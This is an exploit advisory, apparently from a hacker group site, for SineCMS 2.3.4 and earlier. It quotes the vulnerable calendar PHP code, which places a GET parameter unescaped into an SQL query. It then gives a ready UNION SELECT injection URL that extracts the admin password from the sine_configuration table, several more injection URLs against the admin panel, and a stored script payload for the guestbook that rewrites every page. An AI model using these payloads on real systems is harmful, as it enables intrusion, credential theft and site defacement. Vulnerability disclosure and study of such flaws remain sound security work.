---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

SineCMS <= 2.3.4 Calendar SQL Injection 'n something else..

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------
Notes:

Only with magic_quotes_gpc -> Off
---------------------------------------------------------------
Corrupted file: 

mods/Calendar/index.php
---------------------------------------------------------------
Corrupted code:

[...]
function Evento ($sine){
	if (!isset($_GET[id]) OR $_GET[id]=="") {
	header("Location: index.php");
	}
	$query = "SELECT * FROM ".$sine[db][prefisso_tab]."calendario WHERE id='$_GET
[id]'";
	if ($_GET[id]){
		$result = mysql_query($query, $sine[db][db]);
		$row = mysql_fetch_array($result);
[...]
---------------------------------------------------------------
Exploit:

http://[target]/[sinecms_path]/mods.php?
mods=Calendar&action=info&id='+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*
---------------------------------------------------------------
Something else..

There are a lots of useless sql injection in the admin panel, like...

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Guestbook&action=modifica&id='+union+select+1,2,3,4,password,
6+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&mese=11'+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&action=modify&id='+union+select+1,2,3,4,password,6,7,8,9
+from+sine_configuration/*

http://[target]/[sinecms_path]/admin/mods_adm.php?
mods=Calendar&anno='+union+select+1,password,3,4,5,6,7,8,9
+from+sine_configuration/*

and much more..
---------------------------------------------------------------
There is also a permanent html injection in the guestbook, and i belive it can 
be considered so dangerous, coz the "last comments" module it's included in all 
the pages...then, an attacker can rewrite alle the pages posting a comment like

<script>document.body.innerHTML="[Arbitrary_Code]";</script>

in the "username" or "comment" field.
---------------------------------------------------------------